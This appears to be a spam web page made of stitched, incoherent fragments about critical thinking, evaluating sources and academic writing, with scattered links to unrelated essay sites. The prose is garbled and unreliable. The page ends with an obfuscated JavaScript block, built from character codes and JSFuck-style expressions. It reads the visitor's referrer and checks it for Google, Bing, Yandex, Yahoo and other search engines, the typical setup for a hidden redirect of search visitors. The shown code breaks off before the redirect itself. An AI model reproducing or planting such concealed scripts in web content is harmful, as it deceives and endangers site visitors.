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Thank you very much. For those interested in online learning, the Foundation offers accredited online courses in critical thinking for both educators and the general public, as well as an online test for evaluating basic comprehension of critical thinking concepts. Recently, we’ve noted that a public composed mostly of non-scientists may find itself asked to trust scientists , in large part because members of that public are not usually in a position to make all their own scientific knowledge. By critically analyzing and evaluating different sources on the subject, however, he arrives at a different Pawnshops research conclusion about whether humans are singularly affected by neurological impulses. The elements needing consideration are generally numerous and varied. Another thing to know is where the organization gets its money. Study results, reported in the Journal of Personality and Social Psychology, were based on responses from adults living in the greater Pittsburgh metropolitan area. Effective questions are the key to thinking critically and interviewing competently. Please note that some links in the article may be referral links, meaning that if you buy something through them, I’ll earn a commission at no extra cost to you. The research reported in the International Journal of Nursing Practice, found that strategies such as use of critical thinking questions designed to induce critical thought What would happen if? The best assignments show original thought, even if your ideas differ from the marker’s ideas. As a result of experiencing such strong individual differences in interpretation, students may learn to be appropriately less confident of their immediate conclusions, more tolerant of ambiguity, and more likely to propose alternative explanations. Write regularly about your own ideas Write regularly about your own ideas, thoughts and feelings on a topic. Return to Student Learning Tools. Understand the basic statistical techniques for describing and interpreting results of research eg. Adopting explicit critical thinking objectives, regardless of the domain of critical thinking, may entail some strategy changes on the part of the teacher. Are you fully informed? The checklist is based on a model developed by the Foundation for Critical Thinking as cited in Capella University, n. Ask students to identify what kinds of evidence would warrant belief in commercial claims. And, to the extent that a scientist — especially one talking “on the record” about the science whether to a reporter or to other scientists or to scientifically literate members of the public — displays sloppy thinking, that would tend to undermine his or her credibility. Wade identifies eight characteristics of critical thinking. Read on for more guidance on common techniques in critical reading! Time is also a factor. It means that you shouldn’t automatically accept that what you are reading is valid, true, applicable or correct. Critical thinking is not just about what you think, it’s about what you think and argue. I suggest The Motivation to Think in Working and Learning and Professional Judgment and the Disposition Toward Critical Thinking — or you can read the abstracts to see what looks interesting. He has the best sources. The skills of argument. When you read in your discipline or listen to a lecture, ask yourself: Case study pedagogy to advance critical thinking. When we move to content that cites other sources, one question is how close is the source to the event.

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What It Is and Why It Counts and concludes with a consensus statement of experts in the field about critical thinking and the ideal critical thinker: Demonstrate the ability to communicate the evidence for management, diagnosis or screening to patients in a manner that is both understandable to the patient and is patient centred. Sample List of Critical Thinking Skills. Consider how valid and reliable the research is What are its strengths and weaknesses? Assuming that your intent something that you decided during the critical reading process above was to prove that videogames have a negative effect on the individual, a synthesis of these four articles might then look something like this:. Most content should lead to more questions. Evaluation However the combination of contemporary art and historical evidence to create a new means of engaging with history assumes that anyone can empathise with the Barracks’ “colourful past”. The Essential Dimensions of Critical Thinking Our conception of critical thinking is based on the substantive approach developed by Dr. Eric Document Reproduction Services No. Here are two brief definitions of what it is: Writing forces you to organize your thoughts, contemplate your topic, evaluate your data in a logical fashion and present your conclusions in a persuasive manner. Stepping away from the podium and engaging the students to perform what they know necessitates some loss of control, or at least some enhanced risk. Students may not recognize when they are thinking critically. This was beneficial to humans when we were hunting large game and fighting off wild animals, but it can be disastrous when we try to decide who to vote for. Critical thinking has been described in many ways over the years, but there are certain recurrent themes:. Is the article primary, secondary, or tertiary? For more on note-making see – Notemaking written text. If a source has no specific author or publication date or is published by a corporation with an obvious conflict of interest , regard it skeptically. Alexandria, VA Tel: What is Critical Thinking? Critical thinking is essential to: Sorry, posting 2 years later here. Give them conflicting information that they must think their way through. Critical Thinking Correlation Studies Critical thinking isn’t just an academic skill, it’s a skill used by highly successful business leaders every day to solve problems, ask questions, and make decisions. Students often think that their entry into the discipline represents an end-point where everything good and true has already been discovered. Most other stories, however, are built around an idea, a trend, or even some angle on a news event. If the source is a document a study, or data , ask the same question: If only a trained scientist could evaluate the credibility of scientific claims and then perhaps only in the particular scientific field in which one was trained , this might reduce science journalism to a mere matter of publishing press releases, or of reporting on scientists’ social events, sense of style, and the like. Instead, you should gather the evidence, analyse all aspects rationally and objectively, and with an open mind, so as to reach your own conclusion. You might be surprised. At first, it seems obvious that the chicken had to come first. They will always seek to determine whether the ideas, arguments and findings represent the entire picture and are open to finding that they do not. The best assignments show original thought, even if your ideas differ from the marker’s ideas. Several years ago some teaching colleagues were talking about the real value of teaching psychology students to think critically. In constructing assessments of critical thinking , educators should use

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We’re sorry, your browser is not supported. There are four areas to work on: Org web sites are almost always BIASED! Each group must decide which view is the most reasonable. However, your markers will expect more. We all carry with us a range of likes and dislikes, learnt behaviours and personal preferences developed throughout our lives; they are the hallmarks of being human. Have you been asked to complete an assignment and one of the criteria is Pawnshops research “critical analysis”? The Advanced Thinker we advance in accordance with our practice Stage Six: Work done in the field constructs the foundation for our research and determines its course and value. Store About Press Room More. For any given group, what are you “required” to believe? Asking relevant questions often leads to uncovering relevant information. Characteristics of Critical Thinkers For a quick overview, read Characteristics of Critical Thinking which begins with “What is Critical Thinking? I think California needs to spend more money on education and less on prisons. This will be the topic of another article on this site, but you need to consider relevance and in particular:. Here’s what we can say and with what degree of certainty about the hypothesis in the light of these results. They recognize that their interpretations are highly personal and sometimes biased by their own values and preferences. Thus, educating good critical thinkers means working toward this ideal.

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Why do the results differ from findings of other similar research? Identification of the Skills to be Taught, Learned, and Assessed, NCES 94—, US Dept of Education, Addison Greenwood Ed , Sal Carrallo PI. Both enable the GP to provide the best possible patient care by developing the GP’s ability to:. Jane Halonen received her PhD from the University of Wisconsin-Milwaukee in Richard Paul and his colleagues at the Center and Foundation a review of chaim potoks book the promise for Critical Thinking over multiple decades. Memorize the book and hope it works out on the exam. Domestic violence linked to violent videogames. Teaching writing and research as inseparable: Requirements for making inferences. There are no items in your shopping cart to preview. It might be they use social media more because they understand it better, and they will keep using it as they get older. Formulate hypotheses that offer reasonable explanations of characteristics, behavior, and events. Focus on one situation at a time. The Skills You Need Guide for Students. They want us to excel on our own, to go beyond what is currently known, to make our own contributions to knowledge and to society. Most assumptions are implicit; that is, speakers and writers often don’t say what their assumptions are. Did you have enough marsorganizer.weebly.com/blog/college-athletes-should-not-be-paid-persuasive-essay information? In other words, though critical thinking principles are universal, their application to disciplines requires a process of reflective contextualization. It involves cognitive, metacognitive and dispositional components which may manifest or be applied differently in specific contexts. The power of these tests, the authors conclude, is that they predict both what an individual can do right now, as well the extent to which an individual is likely to learn and develop in the future. The lower steps are the basics that support moving to the higher-level thinking skills that can underpin taking a critical approach.

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It is also a major weak spot in public education in the U. Peer Review Is the article peer reviewed? The results emphasized the need for exposing students to real-world problems and the importance in encouraging open dialogue within a supportive environment. Critical thinking creates “new possibilities for the development of the nursing knowledge. The bat costs one dollar more than the ball. In each case, the section examines the issue by considering five questions:. However, each type of listening has different objectives. Critical thinking helps groups avoid nursing process critical thinking questions making serious mistakes by encouraging group members to examine carefully all their options. Election Year Survival Guide PDF. But so is the ability to be flexible and consider non-traditional alternatives and perspectives. For more information see – Group work. What other ways could I think about this situation? Could other inferences be drawn? Involve the patient Ebooks for project in the evidence based decision making process about their health and acknowledge the informed patient’s right to choose to accept or decline new interventions based on research evidence. Are there alternative ways of interpreting the evidence? Also, once a scientist is caught in such misconduct, it’s entirely appropriate not to trust another word that comes from his or her mouth. This really helped me a lot. Secondary Resources contain commentary on or discussion about a primary source. Some of it is antique. This is because academic discourse is based according to key principles which are described as follows by Northedge PDF download Critical Thinking Correlation Studies Creating a Critical Thinking Culture The Strategic Thinking Pyramid Critical Thinking Mobile App Critical Thinking Videos. Click here for information about purchasing a copy of Critical and Creative Thinking. Real-World Outcomes Negative Life Events 1. Perhaps they’re taking different sets of data into account, or they disagree about certain of the assumptions made in framing the question. We also invite you to become a member of the Critical Thinking Community , where you will gain access to more tools and materials. As mentioned in the section, Characteristics of Critical Thinking , critical thinking involves questioning. Defining critical thinking C How do you like being a principal? Development in thinking requires a gradual process requiring plateaus of learning and just plain hard work. Can you see how they vetted the evidence? Recognize explicitly your limitations as far as money, time, and power. Using Assessment to Drive Instruction News Critical Thinking in the News Newest Pages and Articles Added to CriticalThinking. Get in touch with your emotions: After all, almost no information we have available to us, either externally or internally, carries any guarantee of its life or appropriateness. Sign Up for our e-News.

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Critical thinking should not be confused with being argumentative or being critical of other people. Although critical thinking skills can be used in exposing fallacies and bad reasoning, critical thinking can also play an important role in cooperative reasoning and constructive tasks. Developing as a thinker requires commitment to daily practice. Is it a news organization? Was it before, during or after an important event? Make sure your essay follows a clear, logical path toward its conclusion. Cosponsored by APS and the University of South Florida Department of Psychology, the free marathi eassay nibandh ebooks read » #1 – Free Online 40th Annual National Institute on the Teaching… More. Critical thinking – Massey University website opens in new window. The important thing to notice here is that scientists can disagree with each other about experimental results and scientific conclusions without thinking that the other guy is a bad scientist. Sign On User ID. Michael Scriven and Richard Paul offer the following definition of critical thinking: You will know it when you see it, even if bemiddelinggent.be each story itself seems fairly straightforward. In essence, critical thinking requires you to use your ability to reason. In contrast, the interviewer’s follow-up questions have little relevance to the topic under discussion. Critical Thinking and Evaluation of Sources Critical thinking is learning to think for yourself and to develop your own independent opinions, backed by sound reasoning and support. You must learn how to take thinking apart. Thanks for catching that. Why have they said this? What do you already know? What is the source of the evidence that backs up the argument? Transcript In terms of developing my critical thinking, I look at the subject or topic matter and then I try to understand the basic background first. Most departments offer many opportunities for students to develop their methodological critical thinking abilities by applying different research methods in psychology. Perfonnance criteria facilitate giving detailed feedback easily and can also promote student self-assessment. The specific needs of general practice research impact on all GPs, regardless of their level of involvement in general practice research. When he’s not enjoying long hikes through the Appalachian wilderness, he’s stroking his lush beard and pondering what book to read next. Research participants are those who participate in general practice research. Brehm – Indiana University Saul Kassin – Williams College Steven Fein – Williams College YOUR CRITICAL THINKING SKILLS If you were to memorize every fact in the textbook, you might still miss its essentials. These questions represent steps that you can apply in thinking about most assertions, as the textbook explains. Third, going through this sequence of steps should lead you to a better understanding of the material and to wiser conclusions. In courtroom trials, only things that people saw for themselves are usually permissible as testimony. The list of core critical thinking skills includes observation, interpretation, analysis, inference, evaluation, explanation, and metacognition. When you include more opportunity for student critical thinking in class, there is much more opportunity for the class to go astray. To put it another way: So yopu think Trump has the best facts? Unfortunately most college texts, especially math texts, do not make this distinction. What are the alternatives? It affects your academic success: Creating is the process of joining or combining information and ideas from different sources to create something new. One of the most important aspects of critical thinking is to decide what you are aiming to achieve and then make a decision based on a range of possibilities.

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This section needs additional citations for verification. To see if a story or segment or other form of media content lives up to its thesis, there are some simple indicators. We know that self-help is the best help. Planning is the key: It means that when you approach an idea, you do so with scepticism and doubt, rather than with unquestioning acceptance. YOUR CRITICAL THINKING SKILLS If How It Works you were to memorize every fact in the textbook, you might still miss its essentials. Here are a few suggestions: The advice borders on common sense, yet it never grows old. Field for search text Search using Website Directory. What are the most basic ideas, concepts, or theories in this field? Capstone, honors, vidlimi.weebly.com and graduate courses go beyond theory evaluation to encourage students to create theory. Get Involved Membership Educator Advocates Affiliates Connected Communities Student Chapters Professional Interest Communities InService Blog. Walden Departments, Centers, and Resources Departments Academic Advising Academic Residencies Academic Skills Center Career Services Disability Services Field Experience Library Military Services Student Affairs Student Support Writing Center. Perhaps it is helpful to think of an essay in terms of a conversation or debate with a classmate. There are gaps in the evidence that GPs need for making decisions, limiting the ability to provide the highest quality care. Home Workshops and Tutorials Presenting and participating in class Preparing for university Teaching and learning at Sussex Assessment and grades at university Communication at Sussex Budgeting for study A-Z university jargon and terms gambling essay thesis Getting the most from your learning Study skills for taught postgraduate students Study skills for international students Note making Tips for making notes Guide to reading and noting Note-making styles Taking notes in lectures Try taking your own lecture notes Seminars What is flipped learning? Abduction Analytic and synthetic propositions Antinomy A priori and a posteriori Deduction Definition Description Induction Inference Logical form Logical consequence Logical truth Name Necessity and sufficiency Meaning Paradox Possible world Presupposition Probability Reason Reference Semantics Statement Strict implication Substitution Syntax Truth Validity.

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Synthesis involves the ability to put together the parts you analyzed with other information to create something original. A good rule of thumb: I’m obsessed with geeky books, travel, and finding better ways to do things. For example, students can contrast different models to explain drug addiction in physiological psychology. It means developing intellectual tools to avoid being gullible or easily taken in by false claims or “quack” science highly questionable or absurd ideas presented as though they are scientific truths. Collaboration in my department and with other colleagues over the years has persuaded me that we need to approach critical thinking skills in a purposeful, systematic, and developmental manner from the introductory course through the capstone experience, propose that we need to teach critical thinking skills in three domains of mozart don giovanni essay psychology: Journal of Electronic Entertainment, 4, 34— When will I need critical thinking skills? Notice when others are unclear in what they are saying. Classroom assessment for critical thinking. See if the site provides a means by which to contact the host for further details. Strategies for Teaching Students to Think Critically: Kobrin, currently senior research scientist at Pearson, was previously a research scientist at the College Board where she led research efforts to collect evidence of the validity of the SAT, and conducted research on factors related to college readiness and college success. Go to ” Online Research ” to learn more about the internet as a research source. Think about the credibility of the graphicburan9.weebly.com organization or agency or person sponsoring the Site. The skills that we need in order to be able to think critically are varied and include observation, analysis, interpretation, reflection, evaluation, inference, explanation, problem solving, and decision making. Ethics Last but not least, ere the ethical standards met? There is no such thing as knowing too much about a source. Keep An Intellectual Journal. Are we in a position where, outside our own narrow area of expertise, we either have to commit to agnosticism or take someone else’s word for things? Most people live much too much within the view of themselves projected by others. Brehm – Indiana University Saul Kassin – Williams College Steven Fein – Williams College YOUR CRITICAL THINKING SKILLS If you were to memorize every fact in the textbook, you might still miss its essentials. Argumentative , problem-solution , persuasive , expository? Articulate your assessment The final step of critical reading is to articulate your assessment of the text. Comprehension means understanding the material read, heard or seen. Interpreting and evaluating information Although we all share commonalities with others in how we interpret and evaluate information based on our cultural and societal backgrounds, each person brings to every situation a different “lens” for interpreting the world. Students think about almost everything and anything. However, I have found that this work although time consuming, is necessary to form a clear understanding of the subject matter. Although I value both these things, the second one is higher on my value hierarchy than the first. For teachers The ideas on this page were discussed in a blog post on edutopia. This is not to say that there aren’t folks in lab coats whose thinking is sloppy. Critical thinking is, in short, self-directed, self-disciplined, self-monitored, and self-corrective thinking. In What Ways Does Race and Enthincity Influences Our Life Experiences Current Position of Real Estate in India Gambling Essay Retailing Essay Jack the Ripper Essay Bear Essay Personal life Essay Management Essay. Subscribe to ASCD Express , our free e-mail newsletter, to have practical, actionable strategies and information delivered to your e-mail inbox twice a month. Viewing Our Development in Stages How to Study and Learn Part One How to Study and Learn Part Two How to Study and Learn Part Three How to Study and Learn Part Four The Art of Close Reading Part One The Art of Close Reading Part Two The Art of Close Reading Part Three Looking To The Future With a Critical Eye: You use decision making when you choose your topic and thesis statement, organize your essay, do research, and determine which information is relevant. For example, can you think about the situation so as to see the humor in it and what is pitiable in it?

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GLAQ9

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,52,122,112,48,72,84,77,76,60,34,47,119,63,38,95,43,85,67,80,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+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